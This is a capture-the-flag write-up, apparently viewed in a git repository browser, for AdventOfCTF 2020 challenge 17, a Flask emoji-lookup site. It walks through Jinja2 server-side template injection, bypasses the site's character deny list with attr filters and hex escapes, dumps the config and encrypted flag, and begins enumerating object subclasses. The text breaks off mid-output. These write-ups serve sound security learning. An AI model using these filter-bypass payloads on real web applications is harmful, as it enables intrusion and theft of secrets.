You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
756 lines
29 KiB
756 lines
29 KiB
4 years ago
|
+++
|
||
|
author = "Maik de Kruif"
|
||
3 years ago
|
title = "Challenge 17"
|
||
|
subtitle = "Challenge 17 - AdventOfCTF"
|
||
4 years ago
|
date = 2021-01-06T22:51:23+01:00
|
||
|
description = "A writeup for challenge 17 of AdventOfCTF."
|
||
3 years ago
|
cover = "img/writeups/adventofctf/2020/8717d728f2de96beb8123c0cca28a728.png"
|
||
4 years ago
|
tags = [
|
||
|
"AdventOfCTF",
|
||
|
"challenge",
|
||
|
"ctf",
|
||
|
"hacking",
|
||
|
"writeup",
|
||
|
"web",
|
||
|
"python",
|
||
|
"flask",
|
||
|
]
|
||
|
categories = [
|
||
|
"ctf",
|
||
|
"writeups",
|
||
|
"hacking",
|
||
|
]
|
||
|
+++
|
||
|
|
||
|
- Points: 1700
|
||
|
|
||
|
## Description
|
||
|
|
||
|
Santa has launched version 2 of the Emoji finder! Some people were able to find the flag in the 1st version, that will not happen again!
|
||
|
|
||
|
Visit <https://17.adventofctf.com> to start the challenge.
|
||
|
|
||
|
## Recon
|
||
|
|
||
|
Upon opening the challenge website we're greeted with some text and an input field. The text says the following: "Santa likes emojis! Enter one to find out what it means. Try 'santa' for instance.". If we then enter 'santa' in the input field and press the search button, we get a santa emoji: 🎅.
|
||
|
|
||
|
When opening the source of the page we also find the following comment: "Here is a cheatsheet of the emojis you can use: <https://www.webfx.com/tools/emoji-cheat-sheet/>" and some javascript:
|
||
|
|
||
|
```js
|
||
|
function send() {
|
||
|
let emoji = $("#emoji")[0].value;
|
||
|
if (emoji.length > 0) {
|
||
|
$.post("/", { emoji: emoji }, function (data) {
|
||
|
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
|
||
|
});
|
||
|
}
|
||
|
}
|
||
|
```
|
||
|
|
||
|
## Finding the vulnerability
|
||
|
|
||
3 years ago
|
The description makes a reference to [yesterday's challenge]({{% ref "writeups/adventofctf/2020/challenge_16.md" %}}) so we probably have to use the same concept.
|
||
4 years ago
|
|
||
|
Let's verify it by trying the following input: `{{7*7}}`. It returned `49` so we can continue with the next step.
|
||
|
|
||
|
## Exploit
|
||
|
|
||
3 years ago
|
Just like [yesterday's challenge]({{% ref "writeups/adventofctf/2020/challenge_16.md" %}}), we start by trying to get the config like so: `{{config.items()}}`. Sadly, we get an error message: "You entered an emoji that is on my deny list".
|
||
4 years ago
|
|
||
|
### Blacklist
|
||
|
|
||
|
As it turns out, this challenge has a blacklist on the input. Let's first test what is and what isn't allowed. We can do this by just trying some characters:
|
||
|
|
||
|
`{{7*7}}` -> `49`
|
||
|
`{{7*'7'}}` -> deny list
|
||
|
`{{7*"7"}}` -> `7777777`
|
||
|
`{{7*"_"}}` -> deny list
|
||
|
`{{7*"confi"}}` -> `conficonficonficonficonficonficonfi`
|
||
|
`{{7*"config"}}` -> deny list
|
||
|
`{{7*"."}}` -> deny list
|
||
|
|
||
|
Blacklist: `'`, `_`, `config`, `.`
|
||
|
|
||
|
### Getting the config
|
||
|
|
||
|
As "config" is blacklisted, we have to come up with another way to access it. Luckily there is a fairly straightforward way to get it as `config` is saved in `context`. And, in jinja2, `self` in a template refers to `context`. This means we can get it by reading `self.__dict__`.
|
||
|
|
||
|
We cannot do this directly however, as dots and underscores are blacklisted. Luckily, jinja2 has some [built-in filters](https://jinja.palletsprojects.com/en/master/templates/#builtin-filters) like `attr` that allow us to get attributes from a variable.
|
||
|
|
||
|
This works by piping a variable into a filter like so `{{self|attr("")}}`. This string passed to `attr` is the attribute we want. We can't just fill in `__dict__` however, because of the blacklist. But, because we pass the attribute as a string, we can use it's hexadecimal ASCII value like so: `\x5f`.
|
||
|
|
||
|
The resulting input is the following: `{{self|attr("\x5f\x5fdict\x5f\x5f")}}`.
|
||
|
|
||
|
```yml
|
||
|
{
|
||
|
'_TemplateReference__context': <Context {
|
||
|
'range': <class 'range'>,
|
||
|
'dict': <class 'dict'>,
|
||
|
'lipsum': <function generate_lorem_ipsum at 0x7f2a4eda4a70>,
|
||
|
'cycler': <class 'jinja2.utils.Cycler'>,
|
||
|
'joiner': <class 'jinja2.utils.Joiner'>,
|
||
|
'namespace': <class 'jinja2.utils.Namespace'>,
|
||
|
'url_for': <function url_for at 0x7f2a4dfc6ef0>,
|
||
|
'get_flashed_messages': <function get_flashed_messages at 0x7f2a4dfcd0e0>,
|
||
|
'config': <Config {
|
||
|
'ENV': 'production',
|
||
|
'DEBUG': False,
|
||
|
'TESTING': False,
|
||
|
'PROPAGATE_EXCEPTIONS': None,
|
||
|
'PRESERVE_CONTEXT_ON_EXCEPTION': None,
|
||
|
'SECRET_KEY': 'Leer alles over Software Security bij Arjen (follow @credmp) at https://www.novi.nl', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31),
|
||
|
'USE_X_SENDFILE': False,
|
||
|
'SERVER_NAME': None,
|
||
|
'APPLICATION_ROOT': '/',
|
||
|
'SESSION_COOKIE_NAME': 'session',
|
||
|
'SESSION_COOKIE_DOMAIN': False,
|
||
|
'SESSION_COOKIE_PATH': None,
|
||
|
'SESSION_COOKIE_HTTPONLY': True,
|
||
|
'SESSION_COOKIE_SECURE': False,
|
||
|
'SESSION_COOKIE_SAMESITE': None,
|
||
|
'SESSION_REFRESH_EACH_REQUEST': True,
|
||
|
'MAX_CONTENT_LENGTH': None,
|
||
|
'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200),
|
||
|
'TRAP_BAD_REQUEST_ERRORS': None,
|
||
|
'TRAP_HTTP_EXCEPTIONS': False,
|
||
|
'EXPLAIN_TEMPLATE_LOADING': False,
|
||
|
'PREFERRED_URL_SCHEME': 'http',
|
||
|
'JSON_AS_ASCII': True,
|
||
|
'JSON_SORT_KEYS': True,
|
||
|
'JSONIFY_PRETTYPRINT_REGULAR': False,
|
||
|
'JSONIFY_MIMETYPE': 'application/json',
|
||
|
'TEMPLATES_AUTO_RELOAD': None,
|
||
|
'MAX_COOKIE_SIZE': 4093,
|
||
|
'flag': "C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F"}>,
|
||
|
'request': <Request 'http://127.0.0.1:10017/' [POST]>,
|
||
|
'session': <SecureCookieSession {}>,
|
||
|
'g': <flask.g of 'app'>
|
||
|
} of None>
|
||
|
}
|
||
|
```
|
||
|
|
||
|
_Note: be sure to use double-quotes (`"`) as the single ones are blacklisted._
|
||
|
|
||
|
Here we find an encrypted flag again: `'flag': "C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F"`
|
||
|
|
||
|
## Decrypting the flag
|
||
|
|
||
3 years ago
|
Just like [yesterday's challenge]({{% ref "writeups/adventofctf/2020/challenge_16.md" %}}), the flag is encrypted and we probably have to get the source again to get the key used to encrypt the flag. To get the source we first need arbitrary code execution.
|
||
4 years ago
|
|
||
|
### Arbitrary Code Execution (ACE)
|
||
|
|
||
|
Unfortunately, we cannot grab the `os` module using the same method as yesterday as it requirers the config class and we cannot easily get it. This means we have to find another way.
|
||
|
|
||
|
Another common trick to get the code execution is by having a look at the subclasses of the `object` class. We can get it by taking the following path: `''.__class__.__mro__[1].__subclasses__()`. This gets the class of `string`, reads it superclasses by getting `__mro__`, gets the `object` class from index `1` and then reads its superclasses by using the `__subclasses__()` method.
|
||
|
|
||
|
To get the subclasses, we first have to convert `''.__class__.__mro__[1].__subclasses__()` to an acceptable input. This becomes:
|
||
|
|
||
|
```text
|
||
|
{{ [""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")() }}
|
||
|
```
|
||
|
|
||
|
After submitting this, we get the following result:
|
||
|
|
||
|
{{< code language="text" title="Result" >}}
|
||
|
|
||
|
```js
|
||
|
[
|
||
|
<class 'type'>,
|
||
|
<class 'weakref'>,
|
||
|
<class 'weakcallableproxy'>,
|
||
|
<class 'weakproxy'>,
|
||
|
<class 'int'>,
|
||
|
<class 'bytearray'>,
|
||
|
<class 'bytes'>,
|
||
|
<class 'list'>,
|
||
|
<class 'NoneType'>,
|
||
|
<class 'NotImplementedType'>,
|
||
|
<class 'traceback'>,
|
||
|
<class 'super'>,
|
||
|
<class 'range'>,
|
||
|
<class 'dict'>,
|
||
|
<class 'dict_keys'>,
|
||
|
<class 'dict_values'>,
|
||
|
<class 'dict_items'>,
|
||
|
<class 'odict_iterator'>,
|
||
|
<class 'set'>,
|
||
|
<class 'str'>,
|
||
|
<class 'slice'>,
|
||
|
<class 'staticmethod'>,
|
||
|
<class 'complex'>,
|
||
|
<class 'float'>,
|
||
|
<class 'frozenset'>,
|
||
|
<class 'property'>,
|
||
|
<class 'managedbuffer'>,
|
||
|
<class 'memoryview'>,
|
||
|
<class 'tuple'>,
|
||
|
<class 'enumerate'>,
|
||
|
<class 'reversed'>,
|
||
|
<class 'stderrprinter'>,
|
||
|
<class 'code'>,
|
||
|
<class 'frame'>,
|
||
|
<class 'builtin_function_or_method'>,
|
||
|
<class 'method'>,
|
||
|
<class 'function'>,
|
||
|
<class 'mappingproxy'>,
|
||
|
<class 'generator'>,
|
||
|
<class 'getset_descriptor'>,
|
||
|
<class 'wrapper_descriptor'>,
|
||
|
<class 'method-wrapper'>,
|
||
|
<class 'ellipsis'>,
|
||
|
<class 'member_descriptor'>,
|
||
|
<class 'types.SimpleNamespace'>,
|
||
|
<class 'PyCapsule'>,
|
||
|
<class 'longrange_iterator'>,
|
||
|
<class 'cell'>,
|
||
|
<class 'instancemethod'>,
|
||
|
<class 'classmethod_descriptor'>,
|
||
|
<class 'method_descriptor'>,
|
||
|
<class 'callable_iterator'>,
|
||
|
<class 'iterator'>,
|
||
|
<class 'coroutine'>,
|
||
|
<class 'coroutine_wrapper'>,
|
||
|
<class 'moduledef'>,
|
||
|
<class 'module'>,
|
||
|
<class 'EncodingMap'>,
|
||
|
<class 'fieldnameiterator'>,
|
||
|
<class 'formatteriterator'>,
|
||
|
<class 'filter'>,
|
||
|
<class 'map'>,
|
||
|
<class 'zip'>,
|
||
|
<class 'BaseException'>,
|
||
|
<class 'hamt'>,
|
||
|
<class 'hamt_array_node'>,
|
||
|
<class 'hamt_bitmap_node'>,
|
||
|
<class 'hamt_collision_node'>,
|
||
|
<class 'keys'>,
|
||
|
<class 'values'>,
|
||
|
<class 'items'>,
|
||
|
<class 'Context'>,
|
||
|
<class 'ContextVar'>,
|
||
|
<class 'Token'>,
|
||
|
<class 'Token.MISSING'>,
|
||
|
<class '_frozen_importlib._ModuleLock'>,
|
||
|
<class '_frozen_importlib._DummyModuleLock'>,
|
||
|
<class '_frozen_importlib._ModuleLockManager'>,
|
||
|
<class '_frozen_importlib._installed_safely'>,
|
||
|
<class '_frozen_importlib.ModuleSpec'>,
|
||
|
<class '_frozen_importlib.BuiltinImporter'>,
|
||
|
<class 'classmethod'>,
|
||
|
<class '_frozen_importlib.FrozenImporter'>,
|
||
|
<class '_frozen_importlib._ImportLockContext'>,
|
||
|
<class '_thread._localdummy'>,
|
||
|
<class '_thread._local'>,
|
||
|
<class '_thread.lock'>,
|
||
|
<class '_thread.RLock'>,
|
||
|
<class 'zipimport.zipimporter'>,
|
||
|
<class '_frozen_importlib_external.WindowsRegistryFinder'>,
|
||
|
<class '_frozen_importlib_external._LoaderBasics'>,
|
||
|
<class '_frozen_importlib_external.FileLoader'>,
|
||
|
<class '_frozen_importlib_external._NamespacePath'>,
|
||
|
<class '_frozen_importlib_external._NamespaceLoader'>,
|
||
|
<class '_frozen_importlib_external.PathFinder'>,
|
||
|
<class '_frozen_importlib_external.FileFinder'>,
|
||
|
<class '_io._IOBase'>,
|
||
|
<class '_io._BytesIOBuffer'>,
|
||
|
<class '_io.IncrementalNewlineDecoder'>,
|
||
|
<class 'posix.ScandirIterator'>,
|
||
|
<class 'posix.DirEntry'>,
|
||
|
<class 'codecs.Codec'>,
|
||
|
<class 'codecs.IncrementalEncoder'>,
|
||
|
<class 'codecs.IncrementalDecoder'>,
|
||
|
<class 'codecs.StreamReaderWriter'>,
|
||
|
<class 'codecs.StreamRecoder'>,
|
||
|
<class '_abc_data'>,
|
||
|
<class 'abc.ABC'>,
|
||
|
<class 'dict_itemiterator'>,
|
||
|
<class 'collections.abc.Hashable'>,
|
||
|
<class 'collections.abc.Awaitable'>,
|
||
|
<class 'collections.abc.AsyncIterable'>,
|
||
|
<class 'async_generator'>,
|
||
|
<class 'collections.abc.Iterable'>,
|
||
|
<class 'bytes_iterator'>,
|
||
|
<class 'bytearray_iterator'>,
|
||
|
<class 'dict_keyiterator'>,
|
||
|
<class 'dict_valueiterator'>,
|
||
|
<class 'list_iterator'>,
|
||
|
<class 'list_reverseiterator'>,
|
||
|
<class 'range_iterator'>,
|
||
|
<class 'set_iterator'>,
|
||
|
<class 'str_iterator'>,
|
||
|
<class 'tuple_iterator'>,
|
||
|
<class 'collections.abc.Sized'>,
|
||
|
<class 'collections.abc.Container'>,
|
||
|
<class 'collections.abc.Callable'>,
|
||
|
<class 'os._wrap_close'>,
|
||
|
<class '_sitebuiltins.Quitter'>,
|
||
|
<class '_sitebuiltins._Printer'>,
|
||
|
<class '_sitebuiltins._Helper'>,
|
||
|
<class 'warnings.WarningMessage'>,
|
||
|
<class 'warnings.catch_warnings'>,
|
||
|
<class 'types.DynamicClassAttribute'>,
|
||
|
<class 'types._GeneratorWrapper'>,
|
||
|
<class '_hashlib.HASH'>,
|
||
|
<class '_blake2.blake2b'>,
|
||
|
<class '_blake2.blake2s'>,
|
||
|
<class '_sha3.sha3_224'>,
|
||
|
<class '_sha3.sha3_256'>,
|
||
|
<class '_sha3.sha3_384'>,
|
||
|
<class '_sha3.sha3_512'>,
|
||
|
<class '_sha3.shake_128'>,
|
||
|
<class '_sha3.shake_256'>,
|
||
|
<class 'itertools.accumulate'>,
|
||
|
<class 'itertools.combinations'>,
|
||
|
<class 'itertools.combinations_with_replacement'>,
|
||
|
<class 'itertools.cycle'>,
|
||
|
<class 'itertools.dropwhile'>,
|
||
|
<class 'itertools.takewhile'>,
|
||
|
<class 'itertools.islice'>,
|
||
|
<class 'itertools.starmap'>,
|
||
|
<class 'itertools.chain'>,
|
||
|
<class 'itertools.compress'>,
|
||
|
<class 'itertools.filterfalse'>,
|
||
|
<class 'itertools.count'>,
|
||
|
<class 'itertools.zip_longest'>,
|
||
|
<class 'itertools.permutations'>,
|
||
|
<class 'itertools.product'>,
|
||
|
<class 'itertools.repeat'>,
|
||
|
<class 'itertools.groupby'>,
|
||
|
<class 'itertools._grouper'>,
|
||
|
<class 'itertools._tee'>,
|
||
|
<class 'itertools._tee_dataobject'>,
|
||
|
<class '_random.Random'>,
|
||
|
<class '_weakrefset._IterationGuard'>,
|
||
|
<class '_weakrefset.WeakSet'>,
|
||
|
<class 'weakref.finalize._Info'>,
|
||
|
<class 'weakref.finalize'>,
|
||
|
<class 'functools.partial'>,
|
||
|
<class 'functools._lru_cache_wrapper'>,
|
||
|
<class 'operator.itemgetter'>,
|
||
|
<class 'operator.attrgetter'>,
|
||
|
<class 'operator.methodcaller'>,
|
||
|
<class 'reprlib.Repr'>,
|
||
|
<class 'collections.deque'>,
|
||
|
<class '_collections._deque_iterator'>,
|
||
|
<class '_collections._deque_reverse_iterator'>,
|
||
|
<class 'collections._Link'>,
|
||
|
<class 'functools.partialmethod'>,
|
||
|
<class 'enum.auto'>,
|
||
|
<enum 'Enum'>,
|
||
|
<class 're.Pattern'>,
|
||
|
<class 're.Match'>,
|
||
|
<class '_sre.SRE_Scanner'>,
|
||
|
<class 'sre_parse.Pattern'>,
|
||
|
<class 'sre_parse.SubPattern'>,
|
||
|
<class 'sre_parse.Tokenizer'>,
|
||
|
<class 're.Scanner'>,
|
||
|
<class '_json.Scanner'>,
|
||
|
<class '_json.Encoder'>,
|
||
|
<class 'json.decoder.JSONDecoder'>,
|
||
|
<class 'json.encoder.JSONEncoder'>,
|
||
|
<class 'tokenize.Untokenizer'>,
|
||
|
<class 'traceback.FrameSummary'>,
|
||
|
<class 'traceback.TracebackException'>,
|
||
|
<class 'threading._RLock'>,
|
||
|
<class 'threading.Condition'>,
|
||
|
<class 'threading.Semaphore'>,
|
||
|
<class 'threading.Event'>,
|
||
|
<class 'threading.Barrier'>,
|
||
|
<class 'threading.Thread'>,
|
||
|
<class 'Struct'>,
|
||
|
<class 'unpack_iterator'>,
|
||
|
<class 'pickle._Framer'>,
|
||
|
<class 'pickle._Unframer'>,
|
||
|
<class 'pickle._Pickler'>,
|
||
|
<class 'pickle._Unpickler'>,
|
||
|
<class '_pickle.Unpickler'>,
|
||
|
<class '_pickle.Pickler'>,
|
||
|
<class '_pickle.Pdata'>,
|
||
|
<class '_pickle.PicklerMemoProxy'>,
|
||
|
<class '_pickle.UnpicklerMemoProxy'>,
|
||
|
<class 'urllib.parse._ResultMixinStr'>,
|
||
|
<class 'urllib.parse._ResultMixinBytes'>,
|
||
|
<class 'urllib.parse._NetlocResultMixinBase'>,
|
||
|
<class 'jinja2.utils.MissingType'>,
|
||
|
<class 'jinja2.utils.LRUCache'>,
|
||
|
<class 'jinja2.utils.Cycler'>,
|
||
|
<class 'jinja2.utils.Joiner'>,
|
||
|
<class 'jinja2.utils.Namespace'>,
|
||
|
<class 'string.Template'>,
|
||
|
<class 'string.Formatter'>,
|
||
|
<class 'markupsafe._MarkupEscapeHelper'>,
|
||
|
<class 'jinja2.nodes.EvalContext'>,
|
||
|
<class 'jinja2.nodes.Node'>,
|
||
|
<class 'jinja2.runtime.TemplateReference'>,
|
||
|
<class 'jinja2.runtime.Context'>,
|
||
|
<class 'jinja2.runtime.BlockReference'>,
|
||
|
<class 'jinja2.runtime.LoopContextBase'>,
|
||
|
<class 'jinja2.runtime.LoopContextIterator'>,
|
||
|
<class 'jinja2.runtime.Macro'>,
|
||
|
<class 'jinja2.runtime.Undefined'>,
|
||
|
<class 'decimal.Decimal'>,
|
||
|
<class 'decimal.Context'>,
|
||
|
<class 'decimal.SignalDictMixin'>,
|
||
|
<class 'decimal.ContextManager'>,
|
||
|
<class 'numbers.Number'>,
|
||
|
<class '_ast.AST'>,
|
||
|
<class 'jinja2.lexer.Failure'>,
|
||
|
<class 'jinja2.lexer.TokenStreamIterator'>,
|
||
|
<class 'jinja2.lexer.TokenStream'>,
|
||
|
<class 'jinja2.lexer.Lexer'>,
|
||
|
<class 'jinja2.parser.Parser'>,
|
||
|
<class 'jinja2.visitor.NodeVisitor'>,
|
||
|
<class 'jinja2.idtracking.Symbols'>,
|
||
|
<class '__future__._Feature'>,
|
||
|
<class 'jinja2.compiler.MacroRef'>,
|
||
|
<class 'jinja2.compiler.Frame'>,
|
||
|
<class 'jinja2.environment.Environment'>,
|
||
|
<class 'jinja2.environment.Template'>,
|
||
|
<class 'jinja2.environment.TemplateModule'>,
|
||
|
<class 'jinja2.environment.TemplateExpression'>,
|
||
|
<class 'jinja2.environment.TemplateStream'>,
|
||
|
<class 'jinja2.loaders.BaseLoader'>,
|
||
|
<class 'zlib.Compress'>,
|
||
|
<class 'zlib.Decompress'>,
|
||
|
<class '_bz2.BZ2Compressor'>,
|
||
|
<class '_bz2.BZ2Decompressor'>,
|
||
|
<class '_lzma.LZMACompressor'>,
|
||
|
<class '_lzma.LZMADecompressor'>,
|
||
|
<class 'tempfile._RandomNameSequence'>,
|
||
|
<class 'tempfile._TemporaryFileCloser'>,
|
||
|
<class 'tempfile._TemporaryFileWrapper'>,
|
||
|
<class 'tempfile.SpooledTemporaryFile'>,
|
||
|
<class 'tempfile.TemporaryDirectory'>,
|
||
|
<class 'jinja2.bccache.Bucket'>,
|
||
|
<class 'jinja2.bccache.BytecodeCache'>,
|
||
|
<class 'logging.LogRecord'>,
|
||
|
<class 'logging.PercentStyle'>,
|
||
|
<class 'logging.Formatter'>,
|
||
|
<class 'logging.BufferingFormatter'>,
|
||
|
<class 'logging.Filter'>,
|
||
|
<class 'logging.Filterer'>,
|
||
|
<class 'logging.PlaceHolder'>,
|
||
|
<class 'logging.Manager'>,
|
||
|
<class 'logging.LoggerAdapter'>,
|
||
|
<class 'concurrent.futures._base._Waiter'>,
|
||
|
<class 'concurrent.futures._base._AcquireFutures'>,
|
||
|
<class 'concurrent.futures._base.Future'>,
|
||
|
<class 'concurrent.futures._base.Executor'>,
|
||
|
<class 'select.poll'>,
|
||
|
<class 'select.epoll'>,
|
||
|
<class 'selectors.BaseSelector'>,
|
||
|
<class '_socket.socket'>,
|
||
|
<class 'subprocess.CompletedProcess'>,
|
||
|
<class 'subprocess.Popen'>,
|
||
|
<class '_ssl._SSLContext'>,
|
||
|
<class '_ssl._SSLSocket'>,
|
||
|
<class '_ssl.MemoryBIO'>,
|
||
|
<class '_ssl.Session'>,
|
||
|
<class 'ssl.SSLObject'>,
|
||
|
<class 'dis.Bytecode'>,
|
||
|
<class 'inspect.BlockFinder'>,
|
||
|
<class 'inspect._void'>,
|
||
|
<class 'inspect._empty'>,
|
||
|
<class 'inspect.Parameter'>,
|
||
|
<class 'inspect.BoundArguments'>,
|
||
|
<class 'inspect.Signature'>,
|
||
|
<class 'asyncio.coroutines.CoroWrapper'>,
|
||
|
<class 'asyncio.events.Handle'>,
|
||
|
<class 'asyncio.events.AbstractServer'>,
|
||
|
<class 'asyncio.events.AbstractEventLoop'>,
|
||
|
<class 'asyncio.events.AbstractEventLoopPolicy'>,
|
||
|
<class '_asyncio.Future'>,
|
||
|
<class '_asyncio.FutureIter'>,
|
||
|
<class 'TaskStepMethWrapper'>,
|
||
|
<class 'TaskWakeupMethWrapper'>,
|
||
|
<class '_RunningLoopHolder'>,
|
||
|
<class 'asyncio.futures.Future'>,
|
||
|
<class 'asyncio.protocols.BaseProtocol'>,
|
||
|
<class 'asyncio.transports.BaseTransport'>,
|
||
|
<class 'asyncio.sslproto._SSLPipe'>,
|
||
|
<class 'asyncio.locks._ContextManager'>,
|
||
|
<class 'asyncio.locks._ContextManagerMixin'>,
|
||
|
<class 'asyncio.locks.Event'>,
|
||
|
<class 'asyncio.queues.Queue'>,
|
||
|
<class 'asyncio.streams.StreamWriter'>,
|
||
|
<class 'asyncio.streams.StreamReader'>,
|
||
|
<class 'asyncio.subprocess.Process'>,
|
||
|
<class 'asyncio.unix_events.AbstractChildWatcher'>,
|
||
|
<class 'jinja2.asyncsupport.AsyncLoopContextIterator'>,
|
||
|
<class 'datetime.date'>,
|
||
|
<class 'datetime.timedelta'>,
|
||
|
<class 'datetime.time'>,
|
||
|
<class 'datetime.tzinfo'>,
|
||
|
<class 'werkzeug._internal._Missing'>,
|
||
|
<class 'werkzeug._internal._DictAccessorProperty'>,
|
||
|
<class 'importlib.abc.Finder'>,
|
||
|
<class 'importlib.abc.Loader'>,
|
||
|
<class 'importlib.abc.ResourceReader'>,
|
||
|
<class 'contextlib.ContextDecorator'>,
|
||
|
<class 'contextlib._GeneratorContextManagerBase'>,
|
||
|
<class 'contextlib._BaseExitStack'>,
|
||
|
<class 'pkgutil.ImpImporter'>,
|
||
|
<class 'pkgutil.ImpLoader'>,
|
||
|
<class 'werkzeug.utils.HTMLBuilder'>,
|
||
|
<class 'werkzeug.exceptions.Aborter'>,
|
||
|
<class 'werkzeug.urls.Href'>,
|
||
|
<class 'socketserver.BaseServer'>,
|
||
|
<class 'socketserver.ForkingMixIn'>,
|
||
|
<class 'socketserver.ThreadingMixIn'>,
|
||
|
<class 'socketserver.BaseRequestHandler'>,
|
||
|
<class 'calendar._localized_month'>,
|
||
|
<class 'calendar._localized_day'>,
|
||
|
<class 'calendar.Calendar'>,
|
||
|
<class 'calendar.different_locale'>,
|
||
|
<class 'email._parseaddr.AddrlistClass'>,
|
||
|
<class 'email.charset.Charset'>,
|
||
|
<class 'email.header.Header'>,
|
||
|
<class 'email.header._ValueFormatter'>,
|
||
|
<class 'email._policybase._PolicyBase'>,
|
||
|
<class 'email.feedparser.BufferedSubFile'>,
|
||
|
<class 'email.feedparser.FeedParser'>,
|
||
|
<class 'email.parser.Parser'>,
|
||
|
<class 'email.parser.BytesParser'>,
|
||
|
<class 'email.message.Message'>,
|
||
|
<class 'http.client.HTTPConnection'>,
|
||
|
<class 'mimetypes.MimeTypes'>,
|
||
|
<class 'click._compat._FixupStream'>,
|
||
|
<class 'click._compat._AtomicFile'>,
|
||
|
<class 'click.utils.LazyFile'>,
|
||
|
<class 'click.utils.KeepOpenFile'>,
|
||
|
<class 'click.utils.PacifyFlushWrapper'>,
|
||
|
<class 'click.parser.Option'>,
|
||
|
<class 'click.parser.Argument'>,
|
||
|
<class 'click.parser.ParsingState'>,
|
||
|
<class 'click.parser.OptionParser'>,
|
||
|
<class 'click.types.ParamType'>,
|
||
|
<class 'click.formatting.HelpFormatter'>,
|
||
|
<class 'click.core.Context'>,
|
||
|
<class 'click.core.BaseCommand'>,
|
||
|
<class 'click.core.Parameter'>,
|
||
|
<class 'werkzeug.serving.WSGIRequestHandler'>,
|
||
|
<class 'werkzeug.serving._SSLContext'>,
|
||
|
<class 'werkzeug.serving.BaseWSGIServer'>,
|
||
|
<class 'werkzeug.datastructures.ImmutableListMixin'>,
|
||
|
<class 'werkzeug.datastructures.ImmutableDictMixin'>,
|
||
|
<class 'werkzeug.datastructures.UpdateDictMixin'>,
|
||
|
<class 'werkzeug.datastructures.ViewItems'>,
|
||
|
<class 'werkzeug.datastructures._omd_bucket'>,
|
||
|
<class 'werkzeug.datastructures.Headers'>,
|
||
|
<class 'werkzeug.datastructures.ImmutableHeadersMixin'>,
|
||
|
<class 'werkzeug.datastructures.IfRange'>,
|
||
|
<class 'werkzeug.datastructures.Range'>,
|
||
|
<class 'werkzeug.datastructures.ContentRange'>,
|
||
|
<class 'werkzeug.datastructures.FileStorage'>,
|
||
|
<class 'urllib.request.Request'>,
|
||
|
<class 'urllib.request.OpenerDirector'>,
|
||
|
<class 'urllib.request.BaseHandler'>,
|
||
|
<class 'urllib.request.HTTPPasswordMgr'>,
|
||
|
<class 'urllib.request.AbstractBasicAuthHandler'>,
|
||
|
<class 'urllib.request.AbstractDigestAuthHandler'>,
|
||
|
<class 'urllib.request.URLopener'>,
|
||
|
<class 'urllib.request.ftpwrapper'>,
|
||
|
<class 'werkzeug.wrappers.accept.AcceptMixin'>,
|
||
|
<class 'werkzeug.wrappers.auth.AuthorizationMixin'>,
|
||
|
<class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>,
|
||
|
<class 'werkzeug.wsgi.ClosingIterator'>,
|
||
|
<class 'werkzeug.wsgi.FileWrapper'>,
|
||
|
<class 'werkzeug.wsgi._RangeWrapper'>,
|
||
|
<class 'werkzeug.formparser.FormDataParser'>,
|
||
|
<class 'werkzeug.formparser.MultiPartParser'>,
|
||
|
<class 'werkzeug.wrappers.base_request.BaseRequest'>,
|
||
|
<class 'werkzeug.wrappers.base_response.BaseResponse'>,
|
||
|
<class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>,
|
||
|
<class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>,
|
||
|
<class 'werkzeug.wrappers.etag.ETagRequestMixin'>,
|
||
|
<class 'werkzeug.wrappers.etag.ETagResponseMixin'>,
|
||
|
<class 'werkzeug.wrappers.cors.CORSRequestMixin'>,
|
||
|
<class 'werkzeug.wrappers.cors.CORSResponseMixin'>,
|
||
|
<class 'werkzeug.useragents.UserAgentParser'>,
|
||
|
<class 'werkzeug.useragents.UserAgent'>,
|
||
|
<class 'werkzeug.wrappers.user_agent.UserAgentMixin'>,
|
||
|
<class 'werkzeug.wrappers.request.StreamOnlyMixin'>,
|
||
|
<class 'werkzeug.wrappers.response.ResponseStream'>,
|
||
|
<class 'werkzeug.wrappers.response.ResponseStreamMixin'>,
|
||
|
<class 'http.cookiejar.Cookie'>,
|
||
|
<class 'http.cookiejar.CookiePolicy'>,
|
||
|
<class 'http.cookiejar.Absent'>,
|
||
|
<class 'http.cookiejar.CookieJar'>,
|
||
|
<class 'werkzeug.test._TestCookieHeaders'>,
|
||
|
<class 'werkzeug.test._TestCookieResponse'>,
|
||
|
<class 'werkzeug.test.EnvironBuilder'>,
|
||
|
<class 'werkzeug.test.Client'>,
|
||
|
<class 'uuid.UUID'>,
|
||
|
<class 'itsdangerous._json._CompactJSON'>,
|
||
|
<class 'hmac.HMAC'>,
|
||
|
<class 'itsdangerous.signer.SigningAlgorithm'>,
|
||
|
<class 'itsdangerous.signer.Signer'>,
|
||
|
<class 'itsdangerous.serializer.Serializer'>,
|
||
|
<class 'itsdangerous.url_safe.URLSafeSerializerMixin'>,
|
||
|
<class 'flask._compat._DeprecatedBool'>,
|
||
|
<class 'werkzeug.local.Local'>,
|
||
|
<class 'werkzeug.local.LocalStack'>,
|
||
|
<class 'werkzeug.local.LocalManager'>,
|
||
|
<class 'werkzeug.local.LocalProxy'>,
|
||
|
<class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>,
|
||
|
<class 'dataclasses._MISSING_TYPE'>,
|
||
|
<class 'dataclasses._FIELD_BASE'>,
|
||
|
<class 'dataclasses.InitVar'>,
|
||
|
<class 'dataclasses.Field'>,
|
||
|
<class 'dataclasses._DataclassParams'>,
|
||
|
<class 'ast.NodeVisitor'>,
|
||
|
<class 'difflib.SequenceMatcher'>,
|
||
|
<class 'difflib.Differ'>,
|
||
|
<class 'difflib.HtmlDiff'>,
|
||
|
<class 'pprint._safe_key'>,
|
||
|
<class 'pprint.PrettyPrinter'>,
|
||
|
<class 'werkzeug.routing.RuleFactory'>,
|
||
|
<class 'werkzeug.routing.RuleTemplate'>,
|
||
|
<class 'werkzeug.routing.BaseConverter'>,
|
||
|
